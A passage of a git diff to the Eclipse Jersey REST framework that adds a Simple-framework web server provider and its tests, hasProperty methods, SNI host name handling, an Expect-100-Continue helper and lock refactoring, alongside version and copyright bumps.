+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.simple;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+
+/**
+ * Server provider for servers based on Simple framework {@link SimpleServer}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class SimpleHttpServerProvider implements WebServerProvider {
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
+                                                      final SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration)
+                ? type.cast(new SimpleHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+
+    @Override
+    public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+                                                final SeBootstrap.Configuration configuration) {
+        return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration)
+                ? type.cast(new SimpleHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+                : null;
+    }
+}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
index 02aec75..7560c52 100644
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.simple;
 
 import java.io.Closeable;
+import java.io.IOException;
 
 /**
  * Simple server facade providing convenient methods to obtain info about the server (i.e. port).
@@ -26,6 +27,8 @@
  */
 public interface SimpleServer extends Closeable {
 
+    public void start() throws IOException;
+
     /**
      * The port the server is listening to for incomming HTTP connections. If the port is not
      * specified the {@link org.glassfish.jersey.server.spi.Container.DEFAULT_PORT} is used.
diff --git a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..54d8c53
--- /dev/null
+++ b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.simple.SimpleHttpServerProvider
\ No newline at end of file
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
index 3543e50..81c8601 100644
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
+++ b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
@@ -50,21 +50,25 @@
      * @return The HTTP port of the URI
      */
     protected final int getPort() {
+        if (server != null) {
+            return server.getPort();
+        }
+
         final String value = AccessController
                 .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
         if (value != null) {
 
             try {
                 final int i = Integer.parseInt(value);
-                if (i <= 0) {
-                    throw new NumberFormatException("Value not positive.");
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
                 }
                 return i;
             } catch (NumberFormatException e) {
                 LOGGER.log(
                         Level.CONFIG,
                         "Value of 'jersey.config.test.container.port'"
-                        + " property is not a valid positive integer [" + value + "]."
+                        + " property is not a valid non-negative integer [" + value + "]."
                         + " Reverting to default [" + DEFAULT_PORT + "].",
                         e);
             }
@@ -94,28 +98,28 @@
         config.register(LoggingFeature.class);
         final URI baseUri = getBaseUri();
         server = SimpleContainerFactory.create(baseUri, config);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri.getHost() + ":" + server.getPort());
+        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
     }
 
     public void startServerNoLoggingFilter(Class... resources) {
         ResourceConfig config = new ResourceConfig(resources);
         final URI baseUri = getBaseUri();
         server = SimpleContainerFactory.create(baseUri, config);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri.getHost() + ":" + server.getPort());
+        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
     }
 
     public void startServer(ResourceConfig config) {
         final URI baseUri = getBaseUri();
         config.register(LoggingFeature.class);
         server = SimpleContainerFactory.create(baseUri, config);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri.getHost() + ":" + server.getPort());
+        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
     }
 
     public void startServer(ResourceConfig config, int count, int select) {
         final URI baseUri = getBaseUri();
         config.register(LoggingFeature.class);
         server = SimpleContainerFactory.create(baseUri, config, count, select);
-        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri);
+        LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
     }
 
     public URI getBaseUri() {
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java
new file mode 100644
index 0000000..7c6f01b
--- /dev/null
+++ b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java
@@ -0,0 +1,195 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.simple;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.instanceOf;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link SimpleHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class SimpleHttpServerProviderTest {
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServer2() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        shouldProvideServer(ShouldProvideServerApplication.class, resource);
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        final Application application = new ShouldProvideServerApplication();
+        shouldProvideServer(application.getClass(), resource);
+    }
+
+    private void shouldProvideServer(final Object application, final Resource resource)
+            throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new SimpleHttpServerProvider();
+        final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
+
+        // when
+        final WebServer webServer = Application.class.isInstance(application)
+                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+        final Object nativeHandle = webServer.unwrap(Object.class);
+        final CompletionStage<?> start = webServer.start();
+        final Object startResult = start.toCompletableFuture().get();
+        final Container container = webServer.container();
+        final int port = webServer.port();
+        final String entity = ClientBuilder.newClient()
+                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+                .get(String.class);
+        final CompletionStage<?> stop = webServer.stop();
+        final Object stopResult = stop.toCompletableFuture().get();
+
+        // then
+        assertThat(webServer, is(instanceOf(SimpleHttpServer.class)));
+        assertThat(nativeHandle, is(instanceOf(SimpleServer.class)));
+        assertThat(startResult, is(nullValue()));
+        assertThat(container, is(instanceOf(SimpleContainer.class)));
+        assertThat(port, is(greaterThan(0)));
+        assertThat(entity, is(resource.toString()));
+        assertThat(stopResult, is(nullValue()));
+    }
+
+    @Path("/")
+    protected static final class Resource {
+        @GET
+        @Override
+        public String toString() {
+            return Resource.class.getName();
+        }
+    }
+
+    protected static class ShouldProvideServerApplication extends Application {
+        @Override
+        public Set<Object> getSingletons() {
+            return Collections.singleton(new Resource());
+        }
+    }
+
+    private static final Logger LOGGER = Logger.getLogger(SimpleHttpServerProviderTest.class.getName());
+
+    private static final int DEFAULT_PORT = 0;
+
+    private static final int getPort() {
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
+                }
+                return i;
+            } catch (final NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid non-negative integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+
+        return DEFAULT_PORT;
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new SimpleHttpServerProvider();
+        final Application application = new Application();
+        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
+
+        // when
+        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+        // then
+        assertThat(webServer.port(), is(greaterThan(0)));
+    }
+
+    private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
+        return (SeBootstrap.Configuration) name -> {
+            switch (name) {
+                case SeBootstrap.Configuration.PROTOCOL:
+                    return "HTTP";
+                case SeBootstrap.Configuration.HOST:
+                    return "localhost";
+                case SeBootstrap.Configuration.PORT:
+                    return port;
+                case SeBootstrap.Configuration.ROOT_PATH:
+                    return "/";
+                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+                    return SSLClientAuthentication.NONE;
+                case SeBootstrap.Configuration.SSL_CONTEXT:
+                    try {
+                        return SSLContext.getDefault();
+                    } catch (final NoSuchAlgorithmException e) {
+                        throw new RuntimeException(e);
+                    }
+                case ServerProperties.WEBSERVER_AUTO_START:
+                    return autoStart;
+                default:
+                    return null;
+            }
+        };
+    }
+
+}
diff --git a/core-client/pom.xml b/core-client/pom.xml
index fefc684..4630b07 100644
--- a/core-client/pom.xml
+++ b/core-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.core</groupId>
@@ -120,8 +120,8 @@
 
         <dependency>
             <!-- not to warn about missing activation -->
-            <groupId>com.sun.activation</groupId>
-            <artifactId>jakarta.activation</artifactId>
+            <groupId>org.eclipse.angus</groupId>
+            <artifactId>angus-activation</artifactId>
             <scope>test</scope>
         </dependency>
 
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
index 4dca460..b072c1d 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
@@ -331,6 +331,11 @@
         }
 
         @Override
+        public boolean hasProperty(final String name) {
+            return commonConfig.getConfiguration().hasProperty(name);
+        }
+
+        @Override
         public Object getProperty(final String name) {
             return commonConfig.getConfiguration().getProperty(name);
         }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
index 267664d..364bff0 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
@@ -515,9 +515,20 @@
      *     When the {@code hostName} matches the HTTPS request host, the {@code SNIHostName} is not set,
      *     and the HTTP HOST header is not used for setting the {@code SNIHostName}. This allows for Domain Fronting.
      * </p>
-     * @since 2.43
+     * <p>
+     *    Most connectors support HOST header value to be used as an SNIHostName. However, the HOST header is restricted in JDK.
+     *    {@code HttpUrlConnector} and {@code JavaNetHttpConnector} need
+     *    to have an extra System Property set to allow HOST header.
+     * </p>
+     * <p>
+     *     The value MUST be an instance of {@link java.lang.String}.
+     * </p>
+     * <p>
+     *     The name of the configuration property is <tt>{@value}</tt>.
+     * </p>
+     * @since 3.1.2
      */
-    public static final String SNI_HOST_NAME = "jersey.config.client.sniHostName";
+    public static final String SNI_HOST_NAME = "jersey.config.client.snihostname";
 
     /**
      * <p>The {@link javax.net.ssl.SSLContext} {@link java.util.function.Supplier} to be used to set ssl context in the current
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
index fc21c02..9896c7a 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
@@ -146,6 +146,11 @@
     }
 
     @Override
+    public boolean hasProperty(final String name) {
+        return propertiesDelegate.hasProperty(name);
+    }
+
+    @Override
     public Object getProperty(final String name) {
         return propertiesDelegate.getProperty(name);
     }
@@ -236,9 +241,19 @@
         return clientConfig;
     }
 
+    /**
+     * Get the values of an HTTP request header if the header exists on the current request. The returned value will be
+     * a read-only List if the specified header exists or {@code null} if it does not. This is a shortcut for
+     * {@code getRequestHeaders().get(name)}.
+     *
+     * @param name the header name, case insensitive.
+     * @return a read-only list of header values if the specified header exists, otherwise {@code null}.
+     * @throws java.lang.IllegalStateException if called outside the scope of a request.
+     */
     @Override
     public List<String> getRequestHeader(String name) {
-        return HeaderUtils.asStringList(getHeaders().get(name), clientConfig.getConfiguration());
+        final List<Object> values = getHeaders().get(name);
+        return values == null ? null : HeaderUtils.asStringList(values, clientConfig.getConfiguration());
     }
 
     @Override
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/RequestProcessingInitializationStage.java b/core-client/src/main/java/org/glassfish/jersey/client/RequestProcessingInitializationStage.java
index 0b9da83..1ac6b75 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/RequestProcessingInitializationStage.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/RequestProcessingInitializationStage.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,9 @@
 
 package org.glassfish.jersey.client;
 
+import java.util.Collection;
 import java.util.Collections;
+import java.util.Iterator;
 import java.util.function.Function;
 import java.util.stream.Collectors;
 import java.util.stream.StreamSupport;
@@ -26,6 +28,7 @@
 
 import jakarta.inject.Provider;
 
+import org.glassfish.jersey.innate.spi.MessageBodyWorkersSettable;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.util.collection.Ref;
@@ -80,6 +83,21 @@
         requestContext.setWriterInterceptors(writerInterceptors);
         requestContext.setReaderInterceptors(readerInterceptors);
 
+        if (requestContext.getEntity() != null) {
+            setWorkers(requestContext.getEntity());
+        }
+
         return requestContext;
     }
+
+    private void setWorkers(Object entity) {
+        if (MessageBodyWorkersSettable.class.isInstance(entity)) {
+            ((MessageBodyWorkersSettable) entity).setMessageBodyWorkers(workersProvider);
+        } else if (Collection.class.isInstance(entity)) {
+            Iterator it = ((Collection) entity).iterator();
+            while (it.hasNext()) {
+                setWorkers(it.next());
+            }
+        }
+    }
 }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java
new file mode 100644
index 0000000..7c45854
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client.innate;
+
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.RequestEntityProcessing;
+
+/**
+ * Utility class to check whether it's possible to send the Expect header within request.
+ */
+public final class Expect100ContinueUsage {
+
+    private Expect100ContinueUsage() {
+        //do not instantiate
+    }
+
+    /**
+     * Checks if usage of the Expect header with 100-Continue value is allowed
+     *
+     * @param request client's request
+     * @param requestMethod method of the request (GET, POST, PUT etc).
+     * @return true if the Expect header is allowed.
+     */
+    public static boolean isAllowed(ClientRequest request, String requestMethod) {
+
+        long requestLength = request.getLengthLong();
+
+        final RequestEntityProcessing entityProcessing = request.resolveProperty(
+                ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class);
+
+        final Boolean expectContinueActivated = request.resolveProperty(
+                ClientProperties.EXPECT_100_CONTINUE, Boolean.class);
+        final Long expectContinueSizeThreshold = request.resolveProperty(
+                ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE,
+                ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE);
+
+        final boolean allowStreaming = requestLength > expectContinueSizeThreshold
+                || entityProcessing == RequestEntityProcessing.CHUNKED;
+
+        return !(!Boolean.TRUE.equals(expectContinueActivated)
+                || !("POST".equals(requestMethod) || "PUT".equals(requestMethod))
+                || !allowStreaming
+        );
+    }
+}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
index 49fc03c..79dc60e 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
@@ -53,7 +53,7 @@
 
 
         /**
-         * Sets the {@link ClientRequest} instance.
+         * Sets the SNIHostName and {@link URI} from the {@link ClientRequest} instance.
          * @param clientRequest the {@link ClientRequest}
          * @return the builder instance
          */
@@ -277,6 +277,15 @@
     }
 
     /**
+     * Set {@link javax.net.ssl.SNIServerName} for the {@link SSLParameters} when SNI should be used
+     * (i.e. {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from HTTP request host name)
+     * @param parameters the {@link SSLParameters} to be set
+     */
+    public void setSNIServerName(SSLParameters parameters) {
+        sniConfigurator.ifPresent(sni -> sni.updateSSLParameters(parameters));
+    }
+
+    /**
      * Set setEndpointIdentificationAlgorithm to HTTPS. This is to prevent man-in-the-middle attacks.
      * @param sslEngine the {@link SSLEngine} the algorithm is set for.
      * @see SSLParameters#setEndpointIdentificationAlgorithm(String)
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
index cb1d937..baf1c28 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
@@ -27,7 +27,6 @@
 import java.net.URI;
 import java.util.LinkedList;
 import java.util.List;
-import java.util.Map;
 import java.util.Optional;
 import java.util.logging.Logger;
 
@@ -68,9 +67,11 @@
             return Optional.empty();
         }
 
-        final String hostUriString = hostUri.getHost();
-        if (!whenDiffer && hostUriString.equals(trimmedHeader)) {
-            return Optional.empty();
+        if (hostUri != null) {
+            final String hostUriString = hostUri.getHost();
+            if (!whenDiffer && hostUriString.equals(trimmedHeader)) {
+                return Optional.empty();
+            }
         }
 
         return Optional.of(new SniConfigurator(trimmedHeader));
@@ -98,7 +99,7 @@
         LOGGER.fine(LocalizationMessages.SNI_ON_SSLSOCKET());
     }
 
-    private SSLParameters updateSSLParameters(SSLParameters sslParameters) {
+    SSLParameters updateSSLParameters(SSLParameters sslParameters) {
         SNIHostName serverName = new SNIHostName(hostName);
         List<SNIServerName> serverNames = new LinkedList<>();
         serverNames.add(serverName);
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
index cf8ae51..09d8d88 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
@@ -31,7 +31,6 @@
 import org.glassfish.jersey.internal.inject.SupplierClassBinding;
 import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
-import org.glassfish.jersey.internal.util.collection.Ref;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
 import org.glassfish.jersey.process.internal.RequestScope;
@@ -60,6 +59,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.concurrent.locks.ReentrantLock;
 import java.util.function.Supplier;
 import java.util.logging.Level;
 import java.util.logging.Logger;
@@ -93,20 +93,25 @@
     private class TypedInstances<TYPE extends Type> {
         private final MultivaluedMap<TYPE, InstanceContext<?>> singletonInstances = new MultivaluedHashMap<>();
         private ThreadLocal<MultivaluedMap<TYPE, InstanceContext<?>>> threadInstances = new ThreadLocal<>();
+        private final ReentrantLock singletonInstancesLock = new ReentrantLock();
         private ThreadLocal<MultivaluedMap<DisposableSupplier, Object>> disposableSupplierObjects =
                 ThreadLocal.withInitial(() -> new MultivaluedHashMap<>());
 
         private <T> List<InstanceContext<?>> _getSingletons(TYPE clazz) {
             List<InstanceContext<?>> si;
-            synchronized (singletonInstances) {
+            singletonInstancesLock.lock();
+            try {
                 si = singletonInstances.get(clazz);
+            } finally {
+                singletonInstancesLock.unlock();
             }
             return si;
         }
 
         @SuppressWarnings("unchecked")
         <T> T _addSingleton(TYPE clazz, T instance, Binding<?, ?> binding, Annotation[] qualifiers, boolean destroy) {
-            synchronized (singletonInstances) {
+            singletonInstancesLock.lock();
+            try {
                 // check existing singleton with a qualifier already created by another thread io a meantime
                 List<InstanceContext<?>> values = singletonInstances.get(clazz);
                 if (values != null) {
@@ -121,6 +126,8 @@
                 InstanceContext<?> instanceContext = new InstanceContext<>(instance, binding, qualifiers, !destroy);
                 singletonInstances.add(clazz, instanceContext);
                 return instance;
+            } finally {
+                singletonInstancesLock.unlock();
             }
         }
 
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java
index 2e727eb..ad13830 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
 
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.RequestEntityProcessing;
+import org.glassfish.jersey.client.innate.Expect100ContinueUsage;
 
 import java.io.IOException;
 import java.net.HttpURLConnection;
@@ -32,26 +32,9 @@
     @Override
     public  void invoke(ClientRequest request, HttpURLConnection uc) {
 
-        final long length = request.getLengthLong();
-        final RequestEntityProcessing entityProcessing = request.resolveProperty(
-                ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class);
-
-        final Boolean expectContinueActivated = request.resolveProperty(
-                ClientProperties.EXPECT_100_CONTINUE, Boolean.class);
-        final Long expectContinueSizeThreshold = request.resolveProperty(
-                ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE,
-                ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE);
-
-        final boolean allowStreaming = length > expectContinueSizeThreshold
-                || entityProcessing == RequestEntityProcessing.CHUNKED;
-
-        if (!Boolean.TRUE.equals(expectContinueActivated)
-                || !("POST".equals(uc.getRequestMethod()) || "PUT".equals(uc.getRequestMethod()))
-                || !allowStreaming
-        ) {
-            return;
+        if (Expect100ContinueUsage.isAllowed(request, uc.getRequestMethod())) {
+            uc.setRequestProperty("Expect", "100-Continue");
         }
-        uc.setRequestProperty("Expect", "100-Continue");
     }
 
     @Override
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java
index aaa88c9..d2ede28 100644
--- a/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java
+++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java
@@ -105,6 +105,13 @@
     }
 
     @Test
+    public void testHasProperty() {
+        ClientConfig instance = new ClientConfig().property("name", "value");
+        assertTrue(instance.hasProperty("name"));
+        assertFalse(instance.hasProperty("other"));
+    }
+
+    @Test
     public void testGetProperty() {
         ClientConfig instance = new ClientConfig().property("name", "value");
         assertEquals("value", instance.getProperty("name"));
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java
index a491fb7..c075af9 100644
--- a/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java
+++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java
@@ -93,6 +93,9 @@
         assertFalse(request.getConfiguration().getPropertyNames().contains("name"));
         assertFalse(request.getPropertyNames().contains("name"));
 
+        assertFalse(request.getConfiguration().hasProperty("name"));
+        assertFalse(request.hasProperty("name"));
+
         assertNull(request.getConfiguration().getProperty("name"));
         assertNull(request.getProperty("name"));
 
@@ -110,6 +113,9 @@
         assertTrue(request.getConfiguration().getPropertyNames().contains("name"));
         assertFalse(request.getPropertyNames().contains("name"));
 
+        assertTrue(request.getConfiguration().hasProperty("name"));
+        assertFalse(request.hasProperty("name"));
+
         assertEquals("value-global", request.getConfiguration().getProperty("name"));
         assertNull(request.getProperty("name"));
 
@@ -128,6 +134,9 @@
         assertFalse(request.getConfiguration().getPropertyNames().contains("name"));
         assertTrue(request.getPropertyNames().contains("name"));
 
+        assertFalse(request.getConfiguration().hasProperty("name"));
+        assertTrue(request.hasProperty("name"));
+
         assertNull(request.getConfiguration().getProperty("name"));
         assertEquals("value-request", request.getProperty("name"));
 
@@ -146,6 +155,9 @@
         assertTrue(request.getConfiguration().getPropertyNames().contains("name"));
